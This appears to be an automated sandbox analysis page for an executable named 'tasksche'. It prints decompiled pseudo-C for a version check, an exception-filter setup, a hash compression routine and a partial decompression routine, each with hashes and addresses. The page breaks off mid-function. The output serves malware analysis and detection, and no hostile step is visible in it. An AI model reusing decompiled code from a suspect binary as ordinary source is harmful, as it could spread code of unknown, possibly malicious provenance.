Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction ID: e1f0199fda650a5869103b9083c5b7a650503f912fa59dbaeb4dd54c60283149
Opcode Fuzzy Hash: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction Fuzzy Hash: 0721F672704209DFD724CF28D4817AA7BE5AB19300F10892FD896E73C2C678E9458B49

Uniqueness

Uniqueness Score: -1.00%

Function 00409C06 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409C06() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;

				_t12 =  *0x43003c; // 0xffffffff
				if(_t12 != 0xffffffff) {
					_t6 =  *0x4335d4; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					 *0x43003c = _t12;
					 *0x4335d4 = _t6;
					 *0x4335d0 = _v280.dwMinorVersion;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) +  *0x4335d0;
				}
			}

0x00409c09
0x00409c18
0x00409c56
0x00409c1a
0x00409c21
0x00409c2b
0x00409c31
0x00409c37
0x00409c43
0x00409c49
0x00409c4e
0x00409c4e
0x00409c5e
0x00409c71
0x00409c60
0x00409c6a
0x00409c6a

APIs

GetVersionExW.KERNEL32(?), ref: 00409C2B

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction ID: d7c6bb9a1732f6c2eece22a2b410928bcf9985e9f3444315991ea75afaaef588
Opcode Fuzzy Hash: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction Fuzzy Hash: E4F0F4B1A041088FDB28CF18E992A99B7F5A748305F1002A5D619D3390DA78AE81CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004234CE Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004234CE() {

				SetUnhandledExceptionFilter(E0042348C);
				return 0;
			}

0x004234d3
0x004234db

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002348C), ref: 004234D3

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction ID: 1b01da781a1f42b14bf088c4285091799bc00e9a7c54fca4454c541a30810ab4
Opcode Fuzzy Hash: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction Fuzzy Hash: 539002603521104746112BB06C1D51565A17F48617BD104A5B401C5054DA598621551B

Uniqueness

Uniqueness Score: -1.00%

Function 00404986 Relevance: 1.5, Strings: 1, Instructions: 245
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00404986(void* __eax, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void _v68;
				void _v132;
				void* _t219;
				signed int* _t220;
				void* _t223;
				signed int* _t226;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t233;
				signed int _t238;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				void* _t244;
				intOrPtr _t245;
				signed int _t252;
				signed int _t257;
				signed int _t259;
				signed int _t265;
				signed int _t270;
				signed int _t275;
				signed int _t280;
				signed int _t282;
				signed int _t283;
				signed int _t285;
				signed int _t289;
				signed int _t290;
				signed int _t293;
				signed int _t294;
				signed int _t300;
				signed int _t301;
				signed int _t303;
				signed int _t315;
				signed int _t316;
				signed int _t341;
				signed int _t346;
				signed int _t347;
				signed int _t348;
				signed int _t353;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				void* _t364;

				_t245 = _a4;
				_t233 = 0x10;
				memcpy( &_v132, __eax, _t233 << 2);
				_push(8);
				_t219 = memcpy( &_v68,  *(_t245 + 0xf4), 0 << 2);
				_t220 =  *(_t245 + 0xfc);
				_t238 =  *_t219 ^ 0x510e527f;
				_t341 =  *(_t219 + 4) ^ 0x9b05688c;
				_v8 = _t220[1] ^ 0x5be0cd19;
				_v36 = 0x6a09e667;
				_v32 = 0xbb67ae85;
				_v28 = 0x3c6ef372;
				_v24 = 0xa54ff53a;
				_v12 =  *_t220 ^ 0x1f83d9ab;
				_t223 = 0;
				while(1) {
					_t18 = _t223 + 0x42a4d0; // 0x3020100
					_t229 = _v68 +  *((intOrPtr*)(_t364 + ( *_t18 & 0x000000ff) * 4 - 0x80)) + _v52;
					_t24 = _t223 + 0x42a4d1; // 0x4030201
					_t252 = _t229 ^ _t238;
					asm("ror edx, 0x10");
					_v36 = _v36 + _t252;
					_t240 = _v52 ^ _v36;
					asm("ror ecx, 0xc");
					_t230 = _t229 +  *((intOrPtr*)(_t364 + ( *_t24 & 0x000000ff) * 4 - 0x80)) + _t240;
					_v68 = _t230;
					_t231 = _t230 ^ _t252;
					_t33 = _t223 + 0x42a4d2; // 0x5040302
					asm("ror ebx, 0x8");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t33 & 0x000000ff) * 4 - 0x80)) + _v48;
					_v36 = _v36 + _t231;
					_t241 = _t240 ^ _v36;
					_t257 = _v64 ^ _t341;
					_t44 = _t223 + 0x42a4d3; // 0x6050403
					asm("ror ecx, 0x7");
					asm("ror edx, 0x10");
					_v32 = _v32 + _t257;
					_v16 = _t257;
					_t259 = _v48 ^ _v32;
					_t315 = _v40;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t44 & 0x000000ff) * 4 - 0x80)) + _t259;
					_t346 = _v64 ^ _v16;
					asm("ror esi, 0x8");
					_v32 = _v32 + _t346;
					_v16 = _t346;
					_t347 = _v44;
					asm("ror edx, 0x7");
					_v48 = _t259 ^ _v32;
					_t64 = _t223 + 0x42a4d4; // 0x7060504
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t64 & 0x000000ff) * 4 - 0x80)) + _t347;
					_t265 = _v60 ^ _v12;
					asm("ror edx, 0x10");
					_v28 = _v28 + _t265;
					_t348 = _t347 ^ _v28;
					_v12 = _t265;
					_t76 = _t223 + 0x42a4d5; // 0x8070605
					asm("ror esi, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t76 & 0x000000ff) * 4 - 0x80)) + _t348;
					_t270 = _v60 ^ _v12;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t270;
					_v12 = _t270;
					_t88 = _t223 + 0x42a4d6; // 0x9080706
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t88 & 0x000000ff) * 4 - 0x80)) + _t315;
					_t275 = _v56 ^ _v8;
					asm("ror esi, 0x7");
					asm("ror edx, 0x10");
					_v24 = _v24 + _t275;
					_t316 = _t315 ^ _v24;
					_v44 = _t348 ^ _v28;
					_v8 = _t275;
					_t101 = _t223 + 0x42a4d7; // 0xa090807
					asm("ror edi, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t101 & 0x000000ff) * 4 - 0x80)) + _t316;
					_t280 = _v56 ^ _v8;
					asm("ror edx, 0x8");
					_v24 = _v24 + _t280;
					_v8 = _t280;
					_t113 = _t223 + 0x42a4d8; // 0xb0a0908
					_t282 = _v48;
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t113 & 0x000000ff) * 4 - 0x80)) + _t282;
					_t353 = _v68 ^ _v8;
					asm("ror edi, 0x7");
					asm("ror esi, 0x10");
					_v28 = _v28 + _t353;
					_t283 = _t282 ^ _v28;
					_v40 = _t316 ^ _v24;
					_t126 = _t223 + 0x42a4d9; // 0xc0b0a09
					asm("ror edx, 0xc");
					_v68 = _v68 +  *((intOrPtr*)(_t364 + ( *_t126 & 0x000000ff) * 4 - 0x80)) + _t283;
					_v48 = _t283;
					_t285 = _v68 ^ _t353;
					asm("ror edx, 0x8");
					_v28 = _v28 + _t285;
					_v8 = _t285;
					_t139 = _t223 + 0x42a4db; // 0xe0d0c0b
					asm("ror edx, 0x7");
					_v48 = _v48 ^ _v28;
					_t144 = _t223 + 0x42a4da; // 0xd0c0b0a
					_t289 = _v44;
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t144 & 0x000000ff) * 4 - 0x80)) + _t289;
					_t357 = _v64 ^ _t231;
					asm("ror esi, 0x10");
					_v24 = _v24 + _t357;
					_t290 = _t289 ^ _v24;
					asm("ror edx, 0xc");
					_v64 = _v64 +  *((intOrPtr*)(_t364 + ( *_t139 & 0x000000ff) * 4 - 0x80)) + _t290;
					asm("ror edi, 0x8");
					_t358 = _v64 ^ _t357;
					_v24 = _v24 + _t358;
					_t161 = _t223 + 0x42a4dd; // 0xe0f0e0d
					asm("ror edx, 0x7");
					_v44 = _t290 ^ _v24;
					_t166 = _t223 + 0x42a4dc; // 0xf0e0d0c
					_v20 = _t358;
					_t293 = _v40;
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t166 & 0x000000ff) * 4 - 0x80)) + _t293;
					_t362 = _v60 ^ _v16;
					asm("ror esi, 0x10");
					_v36 = _v36 + _t362;
					_t294 = _t293 ^ _v36;
					asm("ror edx, 0xc");
					_v60 = _v60 +  *((intOrPtr*)(_t364 + ( *_t161 & 0x000000ff) * 4 - 0x80)) + _t294;
					asm("ror edi, 0x8");
					_t341 = _v60 ^ _t362;
					_v36 = _v36 + _t341;
					_t185 = _t223 + 0x42a4df; // 0x40a0e0f
					asm("ror edx, 0x7");
					_v40 = _t294 ^ _v36;
					_t190 = _t223 + 0x42a4de; // 0xa0e0f0e
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t190 & 0x000000ff) * 4 - 0x80)) + _t241;
					_t300 = _v56 ^ _v12;
					_t223 = _t223 + 0x10;
					asm("ror edx, 0x10");
					_v32 = _v32 + _t300;
					_t242 = _t241 ^ _v32;
					_v16 = _t341;
					asm("ror ecx, 0xc");
					_v56 = _v56 +  *((intOrPtr*)(_t364 + ( *_t185 & 0x000000ff) * 4 - 0x80)) + _t242;
					asm("ror edi, 0x8");
					_t301 = _v56 ^ _t300;
					_v32 = _v32 + _t301;
					_v12 = _t301;
					asm("ror ecx, 0x7");
					_v52 = _t242 ^ _v32;
					if(_t223 > 0x90) {
						break;
					}
					_t238 = _v20;
				}
				_t244 = 0;
				do {
					_t226 =  *((intOrPtr*)(_a4 + 0xf4)) + _t244;
					_t303 =  *(_t364 + _t244 - 0x20) ^  *_t226;
					_t244 = _t244 + 4;
					 *_t226 = _t303 ^  *(_t364 + _t244 - 0x44);
				} while (_t244 < 0x20);
				return _t226;
			}

0x0040498f
0x0040499f
0x004049a3
0x004049ab
0x004049b1
0x004049b8
0x004049ce
0x004049d4
0x004049da
0x004049dd
0x004049e4
0x004049eb
0x004049f2
0x004049f9
0x004049fc
0x00404a03
0x00404a03
0x00404a14
0x00404a16
0x00404a23
0x00404a25
0x00404a28
0x00404a2e
0x00404a31
0x00404a36
0x00404a38
0x00404a3b
0x00404a3d
0x00404a4b
0x00404a4e
0x00404a51
0x00404a54
0x00404a5a
0x00404a5c
0x00404a67
0x00404a6a
0x00404a6d
0x00404a70
0x00404a76
0x00404a79
0x00404a7c
0x00404a81
0x00404a87
0x00404a8a
0x00404a8d
0x00404a93
0x00404a96
0x00404a99
0x00404a9c
0x00404a9f
0x00404aac
0x00404ab2
0x00404ab5
0x00404ab8
0x00404abb
0x00404abe
0x00404ac1
0x00404acc
0x00404ad1
0x00404ad7
0x00404ada
0x00404add
0x00404ae3
0x00404ae6
0x00404af3
0x00404af9
0x00404afc
0x00404aff
0x00404b02
0x00404b05
0x00404b08
0x00404b0b
0x00404b0e
0x00404b19
0x00404b1e
0x00404b24
0x00404b27
0x00404b2a
0x00404b30
0x00404b33
0x00404b3e
0x00404b43
0x00404b49
0x00404b4c
0x00404b4f
0x00404b52
0x00404b55
0x00404b58
0x00404b5b
0x00404b66
0x00404b6b
0x00404b6e
0x00404b74
0x00404b76
0x00404b79
0x00404b7c
0x00404b85
0x00404b90
0x00404b93
0x00404b96
0x00404ba1
0x00404ba6
0x00404bac
0x00404bae
0x00404bb1
0x00404bb4
0x00404bb7
0x00404bbc
0x00404bc4
0x00404bc7
0x00404bc9
0x00404bcf
0x00404bda
0x00404bdd
0x00404be0
0x00404be7
0x00404bee
0x00404bf3
0x00404bf9
0x00404bfc
0x00404bff
0x00404c02
0x00404c05
0x00404c0a
0x00404c12
0x00404c15
0x00404c17
0x00404c1d
0x00404c28
0x00404c2b
0x00404c2e
0x00404c3b
0x00404c41
0x00404c44
0x00404c47
0x00404c4a
0x00404c4d
0x00404c50
0x00404c53
0x00404c58
0x00404c60
0x00404c63
0x00404c65
0x00404c6b
0x00404c6e
0x00404c71
0x00404c79
0x00000000
0x00000000
0x00404a00
0x00404a00
0x00404c81
0x00404c84
0x00404c91
0x00404c93
0x00404c95
0x00404c9c
0x00404c9e
0x00404ca4

Strings

gj, xrefs: 004049DD

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction ID: d9eb52a2d6ff44a43e3580116b86408f9a206631cbab7b39ea8bb55ae5343344
Opcode Fuzzy Hash: 8e8f698dc4288f7cd721a7a81a634b87765ee1de91585cf515aab87a68fe5fee
Instruction Fuzzy Hash: 81C126B2D002289BDF44CF9AD8405EEFBF2BFC8310F2AC1A6D81477615D6346A529F91

Uniqueness

Uniqueness Score: -1.00%

Function 00416C3F Relevance: .8, Instructions: 835
COMMONCrypto

Download Yara Rule

C-Code - Quality: 74%

			E00416C3F(void* __ecx, unsigned int _a4) {
				signed int _v8;
				unsigned int _v12;
				unsigned int _v16;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t398;
				signed int _t399;
				unsigned int _t400;
				signed int _t403;
				intOrPtr* _t405;
				signed int _t407;
				unsigned int _t408;
				signed int _t411;
				signed int _t412;
				signed int* _t420;
				intOrPtr _t421;
				unsigned int _t423;
				unsigned int _t432;
				unsigned int _t434;
				signed int _t435;
				unsigned int _t438;
				signed int _t441;
				signed int _t442;
				signed int _t444;
				signed int _t445;
				signed int* _t446;
				char* _t447;
				unsigned int _t449;
				unsigned int _t451;
				signed int _t453;
				signed int _t456;
				signed int _t457;
				signed int _t464;
				unsigned int _t465;
				signed int _t468;
				signed int _t469;
				signed int* _t477;
				unsigned int _t479;
				unsigned int _t482;
				signed int _t483;
				unsigned int _t486;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				unsigned int _t492;
				signed int _t495;
				signed int _t496;
				signed int _t497;
				unsigned int _t498;
				signed int _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t515;
				intOrPtr _t517;
				void* _t521;
				signed int _t522;
				void* _t526;
				signed int _t527;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t537;
				void* _t539;
				intOrPtr* _t540;
				signed int _t541;
				intOrPtr* _t543;
				intOrPtr* _t544;
				void* _t547;
				signed int _t548;
				intOrPtr* _t551;
				signed int _t554;
				signed int _t555;
				signed int _t558;
				unsigned int _t559;
				void* _t561;
				signed int _t562;
				signed int _t565;
				intOrPtr* _t568;
				signed int _t569;
				signed int _t570;
				intOrPtr* _t571;
				signed int _t574;
				signed int _t576;
				unsigned int _t578;
				void* _t580;
				signed int _t583;
				signed int _t585;
				unsigned int _t587;
				void* _t589;
				signed int _t593;
				char* _t604;
				signed int _t605;
				void* _t608;
				void* _t612;
				signed int _t615;
				signed int _t618;
				unsigned int _t624;
				signed int _t625;
				unsigned int _t627;
				signed int _t633;
				unsigned int _t635;
				void* _t637;
				signed int _t640;
				signed int _t642;
				unsigned int _t648;
				signed int _t649;
				void* _t651;
				signed int _t656;
				unsigned int _t658;
				void* _t660;
				void* _t662;
				signed int _t665;
				void* _t668;
				void* _t670;
				signed int _t673;
				void* _t676;
				void* _t683;
				signed int _t686;
				signed int _t695;
				signed int _t696;
				signed int _t697;
				signed int _t713;
				signed int _t733;
				signed int _t736;
				signed int _t750;
				intOrPtr* _t753;
				intOrPtr* _t758;
				void* _t760;
				void* _t761;
				void* _t767;

				_t760 = __ecx;
				 *((char*)(__ecx + 0x4c58)) = 1;
				if( *((char*)(__ecx + 0x4c48)) != 0) {
					L4:
					_t758 = _t760 + 4;
					while(1) {
						 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
						if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
							goto L15;
						} else {
							_t540 = _t760 + 0x80;
						}
						while(1) {
							L7:
							_t767 =  *_t758 -  *_t540 +  *((intOrPtr*)(_t760 + 0x88)) - 1;
							if(_t767 <= 0 && (_t767 != 0 ||  *((intOrPtr*)(_t760 + 8)) <  *((intOrPtr*)(_t760 + 0x84)))) {
								break;
							}
							if( *((char*)(_t760 + 0x90)) != 0) {
								L104:
								return E00415346(_t760);
							}
							_push(_t540);
							_push(_t758);
							_t517 = E0041450F(_t540, _t760);
							if(_t517 == 0) {
								L105:
								return _t517;
							} else {
								_t521 = E0041462B(_t540, _t760, _t758, _t540, _t760 + 0x94);
								if(_t521 != 0) {
									continue;
								} else {
									return _t521;
								}
							}
						}
						_t522 = E004123EB(_t540, _t760);
						__eflags = _t522;
						if(_t522 == 0) {
							goto L104;
						}
						L15:
						_t398 =  *((intOrPtr*)(_t760 + 0x4b30));
						_t574 =  *(_t760 + 0x70);
						__eflags = (_t398 - _t574 &  *(_t760 + 0xe6dc)) - 0x1004;
						if((_t398 - _t574 &  *(_t760 + 0xe6dc)) >= 0x1004) {
							L21:
							_t399 = E0040978C(_t758);
							_t527 =  *(_t760 + 0x118);
							_t400 = _t399 & 0x0000fffe;
							__eflags = _t400 -  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4));
							if(_t400 >=  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4))) {
								_t695 = 0xf;
								_t576 = _t527 + 1;
								__eflags = _t576 - _t695;
								if(_t576 >= _t695) {
									L29:
									_t578 =  *(_t758 + 4) + _t695;
									 *(_t758 + 4) = _t578 & 0x00000007;
									 *_t758 =  *_t758 + (_t578 >> 3);
									_t580 = 0x10;
									_t403 = (_t400 -  *((intOrPtr*)(_t760 + 0x94 + _t695 * 4)) >> _t580 - _t695) +  *((intOrPtr*)(_t760 + 0xd8 + _t695 * 4));
									__eflags = _t403 -  *((intOrPtr*)(_t760 + 0x94));
									if(_t403 >=  *((intOrPtr*)(_t760 + 0x94))) {
										_t403 = 0;
										__eflags = 0;
									}
									_t530 =  *(_t760 + 0xd1c + _t403 * 2) & 0x0000ffff;
									goto L32;
								} else {
									_t571 = _t760 + 0x98 + _t576 * 4;
									while(1) {
										__eflags = _t400 -  *_t571;
										if(_t400 <  *_t571) {
											_t695 = _t576;
											goto L29;
										}
										_t576 = _t576 + 1;
										_t571 = _t571 + 4;
										__eflags = _t576 - 0xf;
										if(_t576 < 0xf) {
											continue;
										} else {
											goto L29;
										}
									}
									goto L29;
								}
							} else {
								_t683 = 0x10;
								_t515 = _t400 >> _t683 - _t527;
								_t686 = ( *(_t515 + _t760 + 0x11c) & 0x000000ff) +  *(_t758 + 4);
								 *_t758 =  *_t758 + (_t686 >> 3);
								 *(_t758 + 4) = _t686 & 0x00000007;
								_t530 =  *(_t760 + 0x51c + _t515 * 2) & 0x0000ffff;
								L32:
								__eflags = _t530 - 0x100;
								if(_t530 >= 0x100) {
									__eflags = _t530 - 0x106;
									if(_t530 < 0x106) {
										__eflags = _t530 - 0x100;
										if(_t530 != 0x100) {
											__eflags = _t530 - 0x101;
											if(_t530 != 0x101) {
												_t531 = _t530 + 0xfffffefe;
												__eflags = _t531;
												_t405 = _t760 + 0x54 + _t531 * 4;
												_v16 =  *_t405;
												_t583 = _t531;
												if(_t531 == 0) {
													L127:
													 *((intOrPtr*)(_t760 + 0x54)) = _v16;
													_t407 = E0040978C(_t758);
													_t532 =  *(_t760 + 0x2ddc);
													_t408 = _t407 & 0x0000fffe;
													__eflags = _t408 -  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4));
													if(_t408 >=  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4))) {
														_t696 = 0xf;
														_t585 = _t532 + 1;
														__eflags = _t585 - _t696;
														if(_t585 >= _t696) {
															L135:
															_t587 =  *(_t758 + 4) + _t696;
															 *(_t758 + 4) = _t587 & 0x00000007;
															 *_t758 =  *_t758 + (_t587 >> 3);
															_t589 = 0x10;
															_t411 = (_t408 -  *((intOrPtr*)(_t760 + 0x2d58 + _t696 * 4)) >> _t589 - _t696) +  *((intOrPtr*)(_t760 + 0x2d9c + _t696 * 4));
															__eflags = _t411 -  *((intOrPtr*)(_t760 + 0x2d58));
															if(_t411 >=  *((intOrPtr*)(_t760 + 0x2d58))) {
																_t411 = 0;
																__eflags = 0;
															}
															_t412 =  *(_t760 + 0x39e0 + _t411 * 2) & 0x0000ffff;
															L138:
															__eflags = _t412 - 8;
															if(_t412 >= 8) {
																_t537 = (_t412 >> 2) - 1;
																_v12 = ((_t412 & 0x00000003 | 0x00000004) << _t537) + 2;
																__eflags = _t537;
																if(_t537 > 0) {
																	_t438 = E0040978C(_t758);
																	_t608 = 0x10;
																	_v12 = _v12 + (_t438 >> _t608 - _t537);
																	_t441 =  *(_t758 + 4) + _t537;
																	 *_t758 =  *_t758 + (_t441 >> 3);
																	_t442 = _t441 & 0x00000007;
																	__eflags = _t442;
																	 *(_t758 + 4) = _t442;
																}
															} else {
																_v12 = _t412 + 2;
															}
															__eflags =  *((char*)(_t760 + 0x4c38));
															 *(_t760 + 0x68) = _v12;
															if( *((char*)(_t760 + 0x4c38)) == 0) {
																_a4 = _v12;
																_t420 = _t760 + 0x70;
																_t697 =  *_t420;
																_t593 = _t697 - _v16;
																_t539 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																_v8 = _t593;
																__eflags = _t593 - _t539;
																if(_t593 >= _t539) {
																	goto L162;
																}
																__eflags = _t697 - _t539;
																if(_t697 >= _t539) {
																	goto L162;
																}
																_t421 =  *((intOrPtr*)(_t760 + 0x4b34));
																_t543 = _t421 + _t593;
																_v8 = _t421 + _t697;
																_t423 = _v12;
																 *(_t760 + 0x70) = _t423 + _t697;
																__eflags = _v16 - _t423;
																if(_v16 >= _t423) {
																	__eflags = _t423 - 8;
																	if(_t423 < 8) {
																		L154:
																		__eflags = _a4;
																		if(_a4 > 0) {
																			__eflags = _a4 - 1;
																			_t604 = _v8;
																			 *_t604 =  *_t543;
																			if(_a4 > 1) {
																				__eflags = _a4 - 2;
																				 *((char*)(_t604 + 1)) =  *((intOrPtr*)(_t543 + 1));
																				if(_a4 > 2) {
																					__eflags = _a4 - 3;
																					 *((char*)(_t604 + 2)) =  *((intOrPtr*)(_t543 + 2));
																					if(_a4 > 3) {
																						__eflags = _a4 - 4;
																						 *((char*)(_t604 + 3)) =  *((intOrPtr*)(_t543 + 3));
																						if(_a4 > 4) {
																							__eflags = _a4 - 5;
																							 *((char*)(_t604 + 4)) =  *((intOrPtr*)(_t543 + 4));
																							if(_a4 > 5) {
																								__eflags = _a4 - 6;
																								 *((char*)(_t604 + 5)) =  *((intOrPtr*)(_t543 + 5));
																								if(_a4 > 6) {
																									 *((char*)(_t604 + 6)) =  *((intOrPtr*)(_t543 + 6));
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																		continue;
																	}
																	_t432 = _v12 >> 3;
																	__eflags = _t432;
																	_v16 = _t432;
																	do {
																		E0041C290(_t543, _t758, _t760, _v8, _t543, 8);
																		_v8 = _v8 + 8;
																		_a4 = _a4 - 8;
																		_t761 = _t761 + 0xc;
																		_t543 = _t543 + 8;
																		_t362 =  &_v16;
																		 *_t362 = _v16 - 1;
																		__eflags =  *_t362;
																	} while ( *_t362 != 0);
																	goto L154;
																}
																__eflags = _t423 - 8;
																if(_t423 < 8) {
																	goto L154;
																}
																_t434 = _t423 >> 3;
																__eflags = _t434;
																_t605 = _t434;
																_t435 = _v8;
																do {
																	_a4 = _a4 - 8;
																	 *_t435 =  *_t543;
																	 *((char*)(_t435 + 1)) =  *((intOrPtr*)(_t543 + 1));
																	 *((char*)(_t435 + 2)) =  *((intOrPtr*)(_t543 + 2));
																	 *((char*)(_t435 + 3)) =  *((intOrPtr*)(_t543 + 3));
																	 *((char*)(_t435 + 4)) =  *((intOrPtr*)(_t543 + 4));
																	 *((char*)(_t435 + 5)) =  *((intOrPtr*)(_t543 + 5));
																	 *((char*)(_t435 + 6)) =  *((intOrPtr*)(_t543 + 6));
																	 *((char*)(_t435 + 7)) =  *((intOrPtr*)(_t543 + 7));
																	_t543 = _t543 + 8;
																	_t435 = _t435 + 8;
																	_t605 = _t605 - 1;
																	__eflags = _t605;
																} while (_t605 != 0);
																_v8 = _t435;
																goto L154;
															} else {
																_push( *(_t760 + 0xe6dc));
																_push(_t760 + 0x70);
																_push(_v16);
																_push(_v12);
																goto L77;
															}
														}
														_t544 = _t760 + 0x2d5c + _t585 * 4;
														while(1) {
															__eflags = _t408 -  *_t544;
															if(_t408 <  *_t544) {
																break;
															}
															_t585 = _t585 + 1;
															_t544 = _t544 + 4;
															__eflags = _t585 - 0xf;
															if(_t585 < 0xf) {
																continue;
															}
															goto L135;
														}
														_t696 = _t585;
														goto L135;
													}
													_t612 = 0x10;
													_t444 = _t408 >> _t612 - _t532;
													_t615 = ( *(_t444 + _t760 + 0x2de0) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t615 >> 3);
													 *(_t758 + 4) = _t615 & 0x00000007;
													_t412 =  *(_t760 + 0x31e0 + _t444 * 2) & 0x0000ffff;
													goto L138;
												} else {
													goto L126;
												}
												do {
													L126:
													 *_t405 =  *((intOrPtr*)(_t405 - 4));
													_t583 = _t583 - 1;
													_t405 = _t405 - 4;
													__eflags = _t583;
												} while (_t583 > 0);
												goto L127;
											}
											goto L107;
										}
										_push( &_v32);
										_t453 = E00414290(_t760, _t758);
										__eflags = _t453;
										if(_t453 == 0) {
											goto L104;
										}
										goto L103;
									} else {
										_t457 = _t530 - 0x106;
										__eflags = _t457 - 8;
										if(_t457 >= 8) {
